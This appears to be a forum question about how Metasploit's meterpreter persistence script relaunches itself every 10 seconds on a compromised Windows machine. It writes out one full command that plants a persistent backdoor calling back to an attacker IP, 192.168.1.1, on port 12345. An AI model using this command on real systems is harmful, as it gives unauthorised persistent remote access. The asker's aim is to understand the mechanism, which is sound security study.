When we remote exploit a target with meterpreter, we can use the command
run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP address is 192.168.1.1 on the port 12345 every 10 seconds.
When I used the task monitor on the target machine, I saw that the persistent program really executes every 10 seconds trying to connect back to the attacker machine, and if no response is found, then the program just shutdown itself.
What I wanna know is : How does this program (or script) launch itself every 10 seconds (I know he isn't using sleep() or a thread because no other new process is showing in the task monitor).
I did look in Windows registry, and just found that this script launch itself in the startup, but I don't understand how he periodically launches itself.